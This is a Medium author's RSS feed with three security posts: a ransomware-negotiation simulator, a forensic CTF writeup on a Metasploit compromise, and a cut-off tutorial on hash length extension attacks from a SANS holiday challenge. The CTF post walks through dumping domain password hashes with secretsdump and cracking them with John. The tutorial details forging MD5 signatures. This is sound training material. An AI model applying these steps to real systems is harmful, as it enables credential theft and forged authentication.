<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ellis S on Medium]]></title>
        <description><![CDATA[Stories by Ellis S on Medium]]></description>
        <link>https://medium.com/@ellisstannard?source=rss-2324a68ec96b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DUqVYAxfx1jT5CiS_yTmiA.jpeg</url>
            <title>Stories by Ellis S on Medium</title>
            <link>https://medium.com/@ellisstannard?source=rss-2324a68ec96b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 20:25:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ellisstannard/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RansomChatGPT: Ransomware Negotiation AI Simulator]]></title>
            <link>https://ellisstannard.medium.com/ransomchatgpt-ransomware-negotiation-simulator-ee8cab041b53?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee8cab041b53</guid>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Mon, 13 Nov 2023 14:41:47 GMT</pubDate>
            <atom:updated>2023-11-13T15:12:11.222Z</atom:updated>
            <content:encoded><![CDATA[<p>Introducing <a href="https://chat.openai.com/g/g-qVOZwAoqH-ransomchatgpt">RansomChatGPT</a>, a ransomware negotiation simulator you can use against all <a href="https://github.com/Casualtek/Ransomchats">ransomware chat transcripts publicly released via Casualtek</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*rhUbM7L5jRlUrenzfoNezQ.jpeg" /></figure><p><a href="https://chat.openai.com/g/g-qVOZwAoqH-ransomchatgpt">RansomChatGPT</a> is tailored for ransomware negotiation simulations by scraping the list of publicly released transcripts and creating a ransom negotiation simulation based on the questions you ask it.</p><p>The idea behind this is that in real-life ransomware incidents, usually a ransom note is left behind instructing the victim organisation to visit a secure and private communication channel.</p><p>During the time of writing there are 13 threat actors to choose from:</p><ol><li>Hive</li><li>Ranzy</li><li>BlackBasta</li><li>Avaddon</li><li>Avos</li><li>Conti</li><li>Lockbit 3.0</li><li>REvil</li><li>Darkside</li><li>Akira</li><li>BlackMatter</li><li>Mount-locker</li><li>Babuk</li></ol><p>The purpose of this tool is to educate security professsionals in negotiation so that if they are ever hit with a ransomware incident, they are ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4O3QlIvuSWFTz5MCUIWkww.png" /></figure><p>After starting the simulation, RansomChatGPT will then ask a series of questions for a tailed scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zbwzb0tEanjTGmgRZMBDAg.png" /></figure><p>The tool will also make an assessment on the % of Global Turnover that is typically asked for an initial ransom as well as the % of Global Turnover which is usually accepted in the final negotiation. If these statistics exist in the transcripts, they will be used!</p><p>The tool will also provide break down the negotiation tactics of the selected threat actor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u32mwvqZoYzv3cLI6wyQNg.png" /></figure><p>If you are unsure what to respond with, simply ask RansomChatGPT what they would recommend writing! The chatbot will also explain the tactics they have included in their recommended response as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HMT_wEf2aCkqDvuBgB-ONg.png" /></figure><p>It is worth noting also this is purely for education and fun. <strong>Please under no circumstances use this for an actual incident or post live chat transcripts from active ransomware cases.</strong></p><p>Feature requests/recommenations are welcomed also!</p><p>Thanks for tuning in x</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee8cab041b53" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders: Szechuan Sauce CTF Writeup]]></title>
            <link>https://ellisstannard.medium.com/cyberdefenders-szechuan-sauce-writeup-ab172eb7666c?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab172eb7666c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[rick-and-morty]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Thu, 03 Nov 2022 12:25:47 GMT</pubDate>
            <atom:updated>2022-11-03T19:24:44.759Z</atom:updated>
            <content:encoded><![CDATA[<p>Another CTF with <a href="https://cyberdefenders.org/blueteam-ctf-challenges/31">CyberDefenders</a>; Rick &amp; Morty forensics challenges courtesy of <a href="https://dfirmadness.com/the-stolen-szechuan-sauce/">DFIRMadness</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eOKHymfKViRVO5V9" /></figure><p><strong>#1 What’s the Operating System version of the Server? (two words)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DDVKxPEWoX3yXAH30LrqSA.png" /></figure><p>The Current Version value 6.3 can be checked using the <a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/operating-system-version">sysinfo operating system guide</a>.</p><p><strong>Answer: </strong>Windows Server 2012 R2</p><p><strong>#2 What’s the Operating System of the Desktop? (four words separated by spaces)</strong></p><p>Can see Product name gives us the OS of Desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHX-CP-QKHIpZbxxGsJHGQ.png" /></figure><p><strong>Answer: </strong>Windows 10 Enterprise Evaluation</p><p><strong>#3 What was the IP address assigned to the domain controller?</strong></p><p>Using RegRipper we can rip the SYSTEM hive. You’ll have make the hive clean as it’s dirty on it’s own using RLA from EZ Tools. Below you see the output, and the interface hive values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-f5xs_s_rtzklCo-uvPuQ.png" /></figure><p>The IP Address value is 10.42.85.10.</p><p><strong>#4 What was the timezone of the Server?</strong></p><p>Looking at the same output from Reg Ripper:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*XfJ5tLavvRbjdxZf4e8-bQ.png" /></figure><p>Allegedly the admin set the wrong timezone on the DC… This is actually backed up by looking at the Network Time Protocol (NTP) packets in Wireshark of Case001.pcap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*zXFv7jgs-o9ApU8AgkGc9w.png" /></figure><p>Let’s compare the packet capture with the Event Logs using Wireshark and evtxecmd respectively:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bphqTKLPoCcvGEwQKNmJSg.png" /></figure><p>Here you can see the 4624 logon type 10 (RDP logon) logs compared with the Negotiation and Response packets on the Domain Controller. Here you will see there is a difference in timezones. E.g., the first logon according to the event logs is 19 Septembmer 2020 03:21:48, whereas the requests leading up to this are roughly an hour beforehand according to the PCAP. Events are stored in UTC time but are shown in actual local time. The OS works with UTC timestamps. Taking the event logs as the accurate time would be appropriate here, therefore rather than UTC-7, because of the 1 hour diference, it would be UTC-6.</p><p><strong>#5 What was the initial entry vector (how did they get in)?. Provide protocol name.</strong></p><p>User logons for domain-joined accounts are logged on the security event logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQy5FT1NlVSs8HjIYeYDww.png" /></figure><p>From the Packet Capture in the previous question, the User of interest is the Administrator user. Initially all 4624 logs look unsuspicious, but then a Remote Host named ‘Kali’ is shown with a logon type of 3, followed by logon type of 10 (RDP).</p><p>Note that Type 3 is sometimes shown as NLA is an authentication from Remote Desktop Protocol.</p><p>Furthermore that remote IP address, 194.61.24.102 originated from Russia:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*714Qmeu2Xdpt7IQTS9NnOw.png" /></figure><p><strong>Answer:</strong> RDP</p><p><strong>#6 What was the malicious process used by the malware? (one word)</strong></p><p>For this question we’ll use the citadeldc01.mem memory capture with Volatility:</p><pre>vol.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win8SP0x64 psxview</pre><p>The following processes are hidden from the eprocess list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*W3cKfRpgBG7pV9C7Lc_U1w.png" /></figure><p>Indicative of DKOM. Please note that on Volatility 2.6, process names are capped at 14 characters. To further assess which are suspicious we must check the parent-child processes:</p><pre>vol.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win8SP0x64 pstree</pre><p>From the list, coreupdater.ex has an unknown parent process and was spawned at a time irregularly to other processes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*0R2IJFYgONZOK1s8motbQw.png" /></figure><p>We will not be able to dump the process using procdump by process because it is unlinked to the eprocess doubly linked list. Instead either by offset or with regex. Unfortunately in both cases, the PEB for hte process is unvailable possibly due to paging:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ipuvPlF3bbf7DJ2FVYDDw.png" /></figure><p>Memdump can dump the process alternatively as a dmp file but that won’t demonstrate whether it is malicious or not. We can actually dump the file from the pcap as it was downloaded through HTTP objects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l87E_NicS9SyKZfpA-QQ3w.png" /></figure><p>And this is flagged as Metasploit; an injected process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnQqTH9idMGr8FBuGkZW8Q.png" /></figure><p><strong>#7 Which process did malware migrate to after the initial compromise? (one word)</strong></p><p>We can look for evidence of reflective or hidden code injection since this is what Meterpreter typically does in processes.</p><pre>volatility.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win2012R2x64_18340 malfind</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*3nTHtMsK4c-i034YuMrdzQ.png" /></figure><p>PID 3724</p><p><strong>#8 What IP address delivered the payload?</strong></p><p>From Question 6 of following the HTTP objects we can see the IP address associated with CoreUpdater was 194.61.24.102</p><p><strong>#9 What IP Address was the malware calling to?</strong></p><p>Switching to PowerShell to use the Select-String command:</p><pre>volatility.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win2012R2x64_18340 netscan | Select-String “coreupdater”</pre><p>We see the malware was calling to 203.78.103.109 over port 443:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*qgoBJH5qMilQruIFfLcu1w.png" /></figure><p><strong>#10 Where did the malware reside on the disk?</strong></p><p>Unfortunately volatility is unable to read the PEB for this task in order to retrieve through dlllist or from reading the eprocess block. For this one you could easily grab this from running filescan. Thereare multiple ways of getting this; super timelining, Usnjrnl, etc. But hte most obvious is to just analyse the MFT.</p><p>You can extract this from the Root in FTK imager of the actual .E01 image. From here use MFTEcmd.exe to then parse this into a CSV file to analyse:</p><pre>MFTECmd.exe -f “C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\Analysis\$MFT” — csv “C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\Analysis”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j-d3LMPQepeJaGQZLBF0nQ.png" /></figure><p>Then search for coreupdater:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0SRSmpcOu8Uz7osWTC8NIw.png" /></figure><p>Parent path is there:</p><p>C:\Windows\System32\coreupdater.exe</p><p>Alternatively:</p><pre>volatility.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win2012R2x64_18340 filescan | Select-String “coreupdater”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7TKqzjS85pQQtB0dlwgQw.png" /></figure><p><strong>11. What’s the name of the attack tool you think this malware belongs to? (one word)</strong></p><p>We know this already from the signatures…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QbkPcH6F39xtZKywGQdecA.png" /></figure><p>Metasploit</p><p><strong>12. What IP adress is located in Thailand?</strong></p><p>Switching to PowerShell to string select:</p><pre>volatility.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win2012R2x64_18340 netscan | Select-String ‘(coreupdater|spoolsv)’</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-X2z-3zPrTsdZdt6aYjaw.png" /></figure><p>There we see one IP of interest, let’s analyse it in VT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*B4pILTmKpdoSVhC5ovRrxw.png" /></figure><p>There we see it’s associated with TH.</p><p><strong>Answer:</strong> 203.78.103.109</p><p><strong>13. Another malicious IP once resolved to klient-293.xyz . What is this IP?</strong></p><p>We have two IP addresses that are malicious; 1 that delivered the payload and the other that is the C2.</p><p>The IP address delivering the CoreUpdater.exe file was 194.61.24.102. Checking VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*kCl6TU9mah6vJmYEzK2bqA.png" /></figure><p><strong>#14 The attacker performed some lateral movements and accessed another system in the environment via RDP. What is the hostname of that system?</strong></p><p>There are two (and probably more) ways of doing this; pcap analysis and looking back over the security event logs at RDP logins (Type 10 and 3). Type 7 is typically RDP reconnections also. This is also laterally moving from the Domain Controller with IP address 10.42.85.10</p><p>At the bottom of the pcap searching for rdp you can see a request from teh DC to a host with IP address 10.42.85.115.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INiPBHYzY1hNDoNTusGTug.png" /></figure><p>To find the hostname, we can use LLMNR which is based on DNS but for local links to find hostnames based on IP addresses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*pika1IjgW4l-Pr9-8Ejq0Q.png" /></figure><p>Here we see the machinename is Desktop-SDN1RPT.</p><p>This can also be seen by searching for the ServiceName corresponding to authentication logs form DC to machine with ip 10.42.85.115:</p><p>Searching by this destination IP, can therefore see the 4 different logons:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-pLouV8aOZ0YuMyfJDQq_w.png" /></figure><p><strong>Answer: </strong>DESKTOP-SDN1RPT</p><p><strong>#15 Other than the administrator, which user has logged into the Desktop machine? (two words)</strong></p><p>Well we can see mortysmith and ricksanchez logged in around the time of interest:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zn5XxMezhsEE9QkhTtnf4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*07H4fdZVJZ7S6MmWpgWlYA.png" /></figure><p>The solution is after their full name however.</p><p><strong>Answer:</strong> Rick Sanchez</p><p><strong>#16 What was the password for “jerrysmith” account?</strong></p><p>We can grab the domain hashes of all users across the domain from the Domain Controller ntds.dit file and SYSTEM hives.</p><p>I have already grabbed the SYSTEM hive located in C:\Windows\System32\config. Next we will grab the ntds.dit file located in C:\Windows\NTDS.</p><p>From there, we can grab the hashes with secretsdump. Transferring this over to Kali:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHik69npoVI7_Pv5thSQHw.png" /></figure><p>We run secretsdump and can see there are multiple hashes for jerrysmith.</p><p>None of these are cleartext so we will have to bruteforce or run a dicitonary attack using either John or Hashcat.</p><pre>john hashes.txt.ntds — format=NT</pre><p>From running this you’ll find the password to be:</p><p><strong>jerrysmith:!BETHEYBOO12!</strong></p><p>Alternatively you can go to Hashes.com and search for the hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*IvS_YwB3sy2TgqrrZ6eTNQ.png" /></figure><p>There you’ll see it!</p><p><strong>#17 What was the original filename for Beth’s secrets?</strong></p><p>This was found looking at the Web Cache for the domain controller. Interestingly enough this was accessed from a fileshare to the Domain Controller, indicating the device Desktop-SDN1RPT hosts this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odb5g1ui_Is5J5qEewYZnw.png" /></figure><p><strong>Answer:</strong> SECRET_BETH.TXT</p><p><strong>#18 What was the content of Beth’s secret file? ( six words, spaces in between)</strong></p><p>This was the WebCacheV01.dat file extracted from the Admnistrator subfolder on machine Desktop-SDN1RPT. The domain controller likely hosted this if they didn’t have a dedicated fileserver on the envrionment. I mean you could also look at Security event logs for file shares authenticated using 5140 event Ids but this CTF has only two machines so let’s hunt in the DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*dvZ3uB4o_QVDenA2qdMvsw.png" /></figure><p>What do you know! Extract Beth_Secret.txt and we’re good.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*R5uwMg-uyXD0BoEh5iXQ3g.png" /></figure><p>This isn’t the flag… We’re missing something. Perhaps try the Recycle Bin then volume shadow copies if possible…</p><p>The RID of system Administrators is 500 so this is a good place to start!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*QojdbFH2p6IATWGSblM2mg.png" /></figure><p>Extract and view the two deleted files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*2_AubG_NED1BMFYXGrajzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*j1hcVcpkkSIBLs7il8nbYw.png" /></figure><p><strong>Answer: </strong>Earth Beth is the real beth</p><p><strong>#19 The malware tried to obtain persistence in a similar way to how Carbanak malware obtains persistence. What is the corresponding MITRE technique ID?</strong></p><p>There are multiple ways malware persists; DLL Injection, Autostart Extensibility Points, Services, Scheduled Tasks, etc. The malware itself also injected itself into a legitimate process with SYSTEM privileges also (spoolsv).</p><p>This can be done multiple ways; looking at the registry entries for System and Software also. What would be easier is to see the autoruns outputs as these would give these anyway. From there we can search for the coreupdater.exe malware:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T16ptU_PEoB6usChjRGv4w.png" /></figure><p>Both services and ASEPs were triggered here. You’ll also see that the times are off indicating registry timestomping. It doesn’t seem like registry auditing was enabled for this device so you wouldn’t be able to see if registry values were modified in the event logs. Can find more on <a href="https://www.inversecos.com/2022/04/malicious-registry-timestamp.html">why it’s very difficult to prove registry timestomping without EDR/Sysmon in place here</a>.</p><p>If we look at the System hive to see the services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*l2iBgx8sd3a1pXIJ72HOSQ.png" /></figure><p>We will see the coreupdater service was last edited Sep 19 at 03:27:49 so this wasn’t timestomped but edited. Worrying there are 10-year old services, but anyway.</p><p>Going now to the <a href="https://attack.mitre.org/groups/G0008/">Carbanak profile on Mitre</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IkY8RI6T-gvFcDecdfrSJA.png" /></figure><p>We can see that Service Modification is a persistence mechanism that aligns with the persistence mechanism found in coreupdater!</p><p>We can even see the permissions in the Memory dump:</p><pre>vol.exe -f C:\Users\SANSDFIR\Documents\c15-SzechuanSauce\citadeldc01.mem — profile=Win2012R2x64_18340 getsids -p 3644</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4K2U55wGKWu3Z1OCFIUh_Q.png" /></figure><p><strong>Answer: </strong>T1643.003</p><p>Done, finished, complete.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab172eb7666c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SANS KringleCon 2021 — Printer Exploitation (Hash Extension Attack)]]></title>
            <link>https://ellisstannard.medium.com/sans-kringlecon-2021-printer-exploitation-hash-extension-attack-190115c084a7?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/190115c084a7</guid>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[printers]]></category>
            <category><![CDATA[json]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Sat, 08 Jan 2022 13:55:46 GMT</pubDate>
            <atom:updated>2022-01-08T13:55:46.827Z</atom:updated>
            <content:encoded><![CDATA[<h3>SANS KringleCon 2021 — Printer Exploitation (Hash Extension Attack)</h3><p>Hello all and Happy New Year! This is a writeup for the <a href="https://www.sans.org/mlp/holiday-hack-challenge/">fourth Holiday Hack Challenge from SANS, KringleCon 4: Calling Birds</a>. This will be specifically for the challenge Printer Exploitation using a Hash Extension Attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qv3LJc2ReMSIkm5Y.jpg" /></figure><p>To start this challenge, enter Jack Frost’s Office:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ytt_4p9AqVnAsZCvKEdkeA.png" /></figure><h3><strong>Objective:</strong></h3><p>Investigate the stolen <a href="https://printer.kringlecastle.com/">Kringle Castle printer</a>. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack’s office for help with this objective.</p><p><strong>Hints:</strong></p><p>· <a href="https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks">Hash Extension Attacks</a> can be super handy when there’s some type of validation to be circumvented.</p><p>· When analyzing a device, it’s always a good idea to pick apart the firmware. Sometimes these things come down Base64-encoded.</p><p>· Files placed in /app/lib/public/incoming will be accessible under <a href="https://printer.kringlecastle.com/incoming/">https://printer.kringlecastle.com/incoming/</a></p><p>Interestingly the hint basically means that we need to create some kind of reverse shell or script which will copy the /var/spool/printer.log and move it into the /app/lib/public/incoming folder.</p><p>Looking at the hints it’s worth using the above hyperlink to look into Hash Extension Attacks.</p><h3>Hash Extension Attack:</h3><p>An application is susceptible to a hash length extension attack if it prepends a secret value to a string, hashes it with a vulnerable algorithm, and entrusts the attacker with both the string and the hash, but not the secret. Then, the server relies on the secret to decide whether or not the data returned later is the same as the original data.</p><p>It turns out, even though the attacker doesn’t know the value of the prepended secret, he can still generate a valid hash for {secret || data || attacker_controlled_data}! This is done by simply picking up where the hashing algorithm left off; it turns out, 100% of the state needed to continue a hash is in the output of most hashing algorithms! We simply load that state into the appropriate hash structure and continue hashing.</p><p>In <a href="https://en.wikipedia.org/wiki/Cryptography">cryptography</a> and <a href="https://en.wikipedia.org/wiki/Computer_security">computer security</a>, a <strong>length extension attack</strong> is a type of <a href="https://en.wikipedia.org/wiki/Attack_(computing)">attack</a> where an attacker can use <strong>Hash</strong>(<em>message1</em>) and the length of <em>message1</em> to calculate <strong>Hash</strong>(<em>message1</em> ‖ <em>message2</em>) for an attacker-controlled <em>message2</em>, without needing to know the content of <em>message1</em>. Algorithms like <a href="https://en.wikipedia.org/wiki/MD5">MD5</a>, <a href="https://en.wikipedia.org/wiki/SHA-1">SHA-1</a> and most of <a href="https://en.wikipedia.org/wiki/SHA-2">SHA-2</a> that are based on the <a href="https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction">Merkle–Damgård construction</a> are susceptible to this kind of attack. Truncated versions of SHA-2, including SHA-384 and SHA-512/256 are not susceptible, nor is the <a href="https://en.wikipedia.org/wiki/SHA-3">SHA-3</a> algorithm.</p><p>When a <a href="https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction">Merkle–Damgård based</a> <a href="https://en.wikipedia.org/wiki/Hash_function">hash</a> is misused as a <a href="https://en.wikipedia.org/wiki/Message_authentication_code">message authentication code</a> with construction <strong>H</strong>(<em>secret</em> ‖ <em>message</em>), and <em>message</em> and the length of <em>secret</em> is known, a length extension attack allows anyone to include extra information at the end of the message and produce a valid hash without knowing the secret. Since <a href="https://en.wikipedia.org/wiki/HMAC">HMAC</a> does not use this construction, HMAC hashes are not prone to length extension attacks.</p><p><strong>Example</strong></p><p>Let’s look at a step-by-step example. For this example:</p><ul><li>let <em>secret = “secret”</em></li><li>let <em>data = “data”</em></li><li>let <em>H = md5()</em></li><li>let <em>signature = hash(secret || data) = 6036708eba0d11f6ef52ad44e8b74d5b</em></li><li>let <em>append = “append”</em></li></ul><p>The server sends <em>data</em> and <em>signature</em> to the attacker. The attacker guesses that <em>H</em> is MD5 simply by its length (it’s the most common 128-bit hashing algorithm), based on the source, or the application’s specs, or any way they are able to.</p><p>Knowing only <em>data</em>, <em>H</em>, and <em>signature</em>, the attacker’s goal is to append <em>append</em> to <em>data</em> and generate a valid signature for the new data. And that’s easy to do! Let’s see how.</p><p><strong>Padding</strong></p><p>Before we look at the actual attack, we have to talk a little about padding.</p><p>When calculating <em>H</em>(<em>secret</em> + <em>data</em>), the string (<em>secret</em> + <em>data</em>) is padded with a ‘1’ bit and some number of ‘0’ bits, followed by the length of the string. That is, in hex, the padding is a 0x80 byte followed by some number of 0x00 bytes and then the length. The number of 0x00 bytes, the number of bytes reserved for the length, and the way the length is encoded, depends on the particular algorithm and blocksize.</p><p>With most algorithms (including MD4, MD5, RIPEMD-160, SHA-0, SHA-1, and SHA-256), the string is padded until its length is congruent to 56 bytes (mod 64). Or, to put it another way, it’s padded until the length is 8 bytes less than a full (64-byte) block (the 8 bytes being size of the encoded length field). There are two hashes implemented in hash_extender that don’t use these values: SHA-512 uses a 128-byte blocksize and reserves 16 bytes for the length field, and WHIRLPOOL uses a 64-byte blocksize and reserves 32 bytes for the length field.</p><p>The endianness of the length field is also important. MD4, MD5, and RIPEMD-160 are little-endian, whereas the SHA family and WHIRLPOOL are big-endian. Trust me, that distinction cost me days of work!</p><p>In our example, <em>length(secret || data) = length(“secretdata”)</em> is 10 (0x0a) bytes, or 80 (0x50) bits. So, we have 10 bytes of data (<em>“secretdata”</em>), 46 bytes of padding (80 00 00 …), and an 8-byte little-endian length field (50 00 00 00 00 00 00 00), for a total of 64 bytes (or one block). Put together, it looks like this:</p><pre> 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata…… <br> 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………. <br> 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ……………. <br> 0030 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00 ……..P…….</pre><p>Breaking down the string, we have:</p><ul><li><em>“secret” = secret</em></li><li><em>“data” = data</em></li><li>80 00 00 … — The 46 bytes of padding, starting with 0x80</li><li>50 00 00 00 00 00 00 00 — The bit length in little endian</li></ul><p>This is the exact data that <em>H</em> hashed in the original example.</p><p><strong>The attack</strong></p><p>Now that we have the data that <em>H</em> hashes, let’s look at how to perform the actual attack.</p><p>First, let’s just append <em>append</em> to the string. Easy enough! Here’s what it looks like:</p><pre> 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata <br> 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0030 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00 ……P……<br> 0040 61 70 70 65 6e 64                               append</pre><p>The hash of that block is what we ultimately want to a) calculate, and b) get the server to calculate. The value of that block of data can be calculated in two ways:</p><ul><li>By sticking it in a buffer and performing <em>H(buffer)</em></li><li>By starting at the end of the first block, using the state we already know from <em>signature</em>, and hashing <em>append</em> starting from that state</li></ul><p>The first method is what the server will do, and the second is what the attacker will do. Let’s look at the server, first, since it’s the easier example.</p><p><strong>Server’s calculation</strong></p><p>We know the server will prepend <em>secret</em> to the string, so we send it the string minus the <em>secret</em> value:</p><pre> 0000 64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00 data………… <br> 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0030 00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64 ……P……append</pre><p>Don’t be fooled by this being exactly 64 bytes (the blocksize) — that’s only happening because <em>secret</em> and <em>append</em> are the same length. Perhaps I shouldn’t have chosen that as an example, but I’m not gonna start over!</p><p>The server will prepend <em>secret</em> to that string, creating:</p><pre> 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata…… <br> 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0030 00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00 ……P…… <br> 0040 61 70 70 65 6e 64                               append</pre><p>And hashes it to the following value:</p><pre>6ee582a1669ce442f3719c47430dadee</pre><p><strong>Client’s calculation</strong></p><p>So, how do we calculate the hash of the data shown above without actually having access to <em>secret</em>?</p><p>Well, first, we need to look at what we have to work with: <em>data</em>, <em>append</em>, <em>H</em>, and <em>H(secret || data)</em>.</p><p>We need to define a new function, <em>H′</em>, which uses the same hashing algorithm as <em>H</em>, but whose starting state is the final state of <em>H(secret || data)</em>, i.e., <em>signature</em>. Once we have that, we simply calculate <em>H′(append)</em> and the output of that function is our hash.</p><p>The the output is, just like before:</p><pre>6ee582a1669ce442f3719c47430dadee</pre><p>So we know the signature is right. The difference is, we didn’t use <em>secret</em> at all! What’s happening!?</p><p>Well, we create a <em>MD5_CTX</em> structure from scratch, just like normal. Then we take the MD5 of 64 ‘A’s. We take the MD5 of a full (64-byte) block of 